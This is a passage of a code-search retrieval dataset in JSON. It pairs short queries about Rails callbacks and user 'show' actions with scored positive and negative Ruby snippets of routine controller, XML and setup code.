notice: 'Course x entity was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_x_entity }\n else\n format.html { render :edit }\n format.json { render json: @course_x_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d25fb54ab9c77e5c626123353bb440ed", "score": "0.44812188", "text": "def update_xml(xml, value)\n wrap(xml).tap do |xml|\n if content?\n add(xml, value)\n elsif name?\n xml.name = value\n elsif array?\n value.each do |v|\n add(xml.add_node(name), v)\n end\n else\n add(xml.add_node(name), value)\n end\n end\n end", "title": "" }, { "docid": "f2659e3ee4acb4ae36b35c887ff4bd52", "score": "0.44799697", "text": "def open_component_xml(filename)\n read_component_xml(filename)\n end", "title": "" }, { "docid": "d1195a7f357e5a6f342888737f95b55b", "score": "0.44764835", "text": "def xrefs_for_ontology_class_tag_for_OBO(ontology_class)\n xrefs = ontology_class.xrefs_from_tags\n if xrefs.size > 0\n (xrefs.collect{|x| \"xref: #{x}\"}.join(\"\\n\")) + \"\\n\"\n end\n end", "title": "" }, { "docid": "ea828370c4e87dbeedcb8f31d3806a95", "score": "0.44695932", "text": "def update_xml(xml, value)\n wrap(xml).tap do |xml|\n if content?\n add(xml, value)\n elsif name?\n xml.name = value\n elsif array?\n value.each do |v|\n add(XML.add_node(xml, name), v)\n end\n else\n add(XML.add_node(xml, name), value)\n end\n end\n end", "title": "" }, { "docid": "c1ccb46a2ac1f97f2b0b1b8ec09405c7", "score": "0.44581476", "text": "def inject_component(doc, component)\n doc.root.delete_element(\"//component[@name='#{component.attributes['name']}']\")\n doc.root.add_element component\n end", "title": "" }, { "docid": "c1ccb46a2ac1f97f2b0b1b8ec09405c7", "score": "0.44581476", "text": "def inject_component(doc, component)\n doc.root.delete_element(\"//component[@name='#{component.attributes['name']}']\")\n doc.root.add_element component\n end", "title": "" }, { "docid": "2b1b08a78e4a9cd8a9e8325f9bdaa2aa", "score": "0.4457665", "text": "def update\n components = params[:components]\n str = ''\n i = 0\n components.each do |c|\n str = if i == 0\n c.to_s\n else\n str.to_s + ',' + c.to_s\n end\n i += 1\n end\n @esic_master.base_component = str\n @esic_master.update(esic_master_params)\n @esic_masters = EsicMaster.all\n @esic_master = EsicMaster.new\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "4c16ec8a7cc395b4282352d072e5ed03", "score": "0.0", "text": "def set_wallet\n @wallet = Wallet.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5133759", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5112076", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5106169", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.509231", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50873137", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081088", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.508059", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50677156", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50562143", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5050554", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.50474834", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5036181", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026331", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5022976", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5015441", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50121695", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000944", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.5000019", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4996878", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.4989888", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49864885", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49797225", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49785787", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.4976161", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49683493", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965126", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958034", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49559742", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954353", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49535993", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4952725", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49467874", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49423352", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49325448", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49282882", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49269363", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49269104", "text": "def default_action; end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49252945", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.4923091", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49194667", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49174926", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173003", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": "0.49171105", "text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.4915879", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49155936", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" } ]
8a1faaa0782e795558f479ac6e428813
GET /users/1 def show
[ { "docid": "eb2c463034a20763d6ddce1b6b5d1e3b", "score": "0.0", "text": "def create\n @user = User.new(user_params)\n set_uid_and_provider\n if @user.save\n render status: :created, json: @user, include: :roles\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" } ]
[ { "docid": "b7f893411aa0a30a20a26dadbd483df5", "score": "0.8296563", "text": "def show_users(**params)\n get('users', params)\n end", "title": "" }, { "docid": "6793c5476ab256881a0da0ff5b613914", "score": "0.8259931", "text": "def show\n\t@users = User.find(params[:id])\n end", "title": "" }, { "docid": "563270cbdf981c3de0463ec1d346a3ac", "score": "0.8243262", "text": "def show\n # 3. When a http GET request to '/users/1' is received, have it show, in json format, user 1's information.\n render json: User.find(params[:id])\n # RENDERS show.html.erb template in the views/users folder\n end", "title": "" }, { "docid": "d371bf872444705fe4e59eaf579015d8", "score": "0.8217875", "text": "def show_user(id)\n get(\"users/#{id}\")\n end", "title": "" }, { "docid": "304b8d206b7bc95d128b5b34744e535d", "score": "0.81863844", "text": "def show\n @users = User.find(params[:id])\n end", "title": "" }, { "docid": "18aa58d85b6b15852f136ab63b9fc187", "score": "0.8083226", "text": "def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end", "title": "" }, { "docid": "f888fdaea15f9957aff8bef526358b60", "score": "0.8060352", "text": "def show\n @user = User.find(params[:id])\n @users = User.all\n end", "title": "" }, { "docid": "5be1a2b1facfbebe48738361ccbdfec5", "score": "0.8015088", "text": "def users_show(options = {})\n @req.get(\"/1.1/users/show.json\", options)\n end", "title": "" }, { "docid": "9910e37b855e76e2f4dc68c02812b65c", "score": "0.80079305", "text": "def show\n @users = User.all\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "df51e7f10a1b52861199eed108e97bc0", "score": "0.80039835", "text": "def show\n @user = User.get(params[:id])\n display @user\n end", "title": "" }, { "docid": "9c4270e3f9e7beb77d033c3943960c37", "score": "0.7999404", "text": "def show\n\n @user_id = params[:id]\n @users = User.where(\"id=?\",@user_id)\n end", "title": "" }, { "docid": "bfd88fb1796eaf7ab04cd5d2785f161e", "score": "0.7996104", "text": "def show\n # Exibe detalhes do usuário informado\n \tuser = User.find(params[:id])\n \trender json: user, status: 200\n end", "title": "" }, { "docid": "b534a5d035cb0d317db0801f3619b301", "score": "0.79894745", "text": "def show\n idUser = params[:id]\n result(@usersController.getUserById(idUser))\n end", "title": "" }, { "docid": "d01f9dde7961d2c882f4d71518aa6177", "score": "0.798563", "text": "def show\n\t\t@user = User.find(params[:id])\n\t\trender '/users/show.json.jbuilder'\n end", "title": "" }, { "docid": "c0e646a0ccfa0173203f5c5b5eec7488", "score": "0.79810464", "text": "def show\n @user = USER.first_or_get!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "title": "" }, { "docid": "891bf8f6d741368978abcfff7e191156", "score": "0.79674923", "text": "def show\n @user = UsersService.getUserById(params[:id])\n end", "title": "" }, { "docid": "be025401ce661e746a5395cf25d40ae3", "score": "0.7937652", "text": "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end", "title": "" }, { "docid": "831313ce959d85972bed1d9d587e3f44", "score": "0.78992486", "text": "def show\n @user = User.find(params[:id])\n\n render :index\n end", "title": "" }, { "docid": "0df8d01d6cdbe1a2d1d75c184c16fc10", "score": "0.7883391", "text": "def show\n respond_with User.find(params[:id])\n end", "title": "" }, { "docid": "7110609b546d9a4d02efb3299b2b6c18", "score": "0.7876576", "text": "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html { render \"users/show\" }\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "060a93a99cb53f9822a480e0e23405c7", "score": "0.78727955", "text": "def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html { render \"users/show\"}\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "07db811b23a405caed85b2a0f45ee434", "score": "0.7854444", "text": "def show\n # Find in the database the user with the id number that matches the URL\n @user = User.find( params[:id] )\n end", "title": "" }, { "docid": "130dac6f97a5c9feb1773b81197ae652", "score": "0.7848425", "text": "def show\n # Check if it's a numeric string\n if !!(params[:id] =~ /^[0-9]+$/)\n user = User.find_by_id(params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', :locals => {:code => '404', :message =>\n 'No user exists with that id'}, :status => 404\n return\n else\n fields = fields_to_render(@@default_fields)\n\n respond_to do |format|\n format.any{render :xml => user.to_xml(:only => fields, :root => 'users',\n :skip_types => 'true')}\n format.json{render :json => user.to_json(:only => fields)}\n end\n end\n else\n # Invalid params if it wasn't a numeric string\n render 'shared/http_status', :locals => {:code => '422', :message =>\n 'Invalid id'}, :status => 422\n return\n end\n end", "title": "" }, { "docid": "71b5c6366b289b37a5d0327a005d9e3a", "score": "0.7843675", "text": "def show\n\t\t@user = User.find(params[:id])\n\t\trender :show\n\tend", "title": "" }, { "docid": "71b5c6366b289b37a5d0327a005d9e3a", "score": "0.784218", "text": "def show\n\t\t@user = User.find(params[:id])\n\t\trender :show\n\tend", "title": "" }, { "docid": "97b34e8d1069378acfe62069830471fa", "score": "0.78366774", "text": "def show\n \t@user = User.find(params[:id])\n end", "title": "" }, { "docid": "d7f8f39fc6015f6b2fe34828a7e0f928", "score": "0.7836043", "text": "def show\n\t@user = User.find(params[:id])\n end", "title": "" }, { "docid": "d0490dbc83feb07632e8524f31c68b2c", "score": "0.78335303", "text": "def show\n\t@user = User.find(params[:id]) # Search the user which has id = params[:id]\n end", "title": "" }, { "docid": "fe4c5da65864ece1e9c54d9b2512ac9d", "score": "0.78164583", "text": "def show\n @user = User.find(params[:id]) #find the user by the id that's sent in\n end", "title": "" }, { "docid": "57ea47de4861acea59f017ac117c6da3", "score": "0.78122085", "text": "def show\n id = params[:id]\n render json: V1::User.get_user_info(id)\n end", "title": "" }, { "docid": "bf0919dd85bfe1e319e9a1c96d755cf5", "score": "0.7804492", "text": "def user(query={})\n self.class.get(\"/users/show.json\", :query => query)\n end", "title": "" }, { "docid": "90ec148c3c0ae73e199576d3ae7e8b2f", "score": "0.7803432", "text": "def show\n \t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "ad4d338d37986d7a8bd3a1c212a4f68d", "score": "0.7802655", "text": "def show\n \t@user = User.find(params[:id])\n end", "title": "" }, { "docid": "ad4d338d37986d7a8bd3a1c212a4f68d", "score": "0.7802655", "text": "def show\n \t@user = User.find(params[:id])\n end", "title": "" }, { "docid": "ad4d338d37986d7a8bd3a1c212a4f68d", "score": "0.7802374", "text": "def show\n \t@user = User.find(params[:id])\n end", "title": "" }, { "docid": "301e58ebd756dce1ea754342049d0925", "score": "0.77984756", "text": "def show\r\n @user = User.find(params[:id]);\r\n end", "title": "" }, { "docid": "ea8476932fc3ed842697087c07562ad0", "score": "0.7792072", "text": "def show\n \n @users = User.all\n end", "title": "" }, { "docid": "4cf5e05c2aa339b7d385711a5410dfed", "score": "0.7785421", "text": "def show\n\t\t@user = User.find (params[:id])\n\tend", "title": "" }, { "docid": "b97fb7d72b3fdde60af64bf68520c2d3", "score": "0.77795017", "text": "def show\n \t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "ca2aac0449552df09ce108de037dfb4b", "score": "0.7778158", "text": "def show\n @user = @users.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": "4beebbd21adc13d67380eaf63688cad5", "score": "0.7773525", "text": "def show\n\t\t@user = User.find(params[:id])\n\tend", "title": "" }, { "docid": 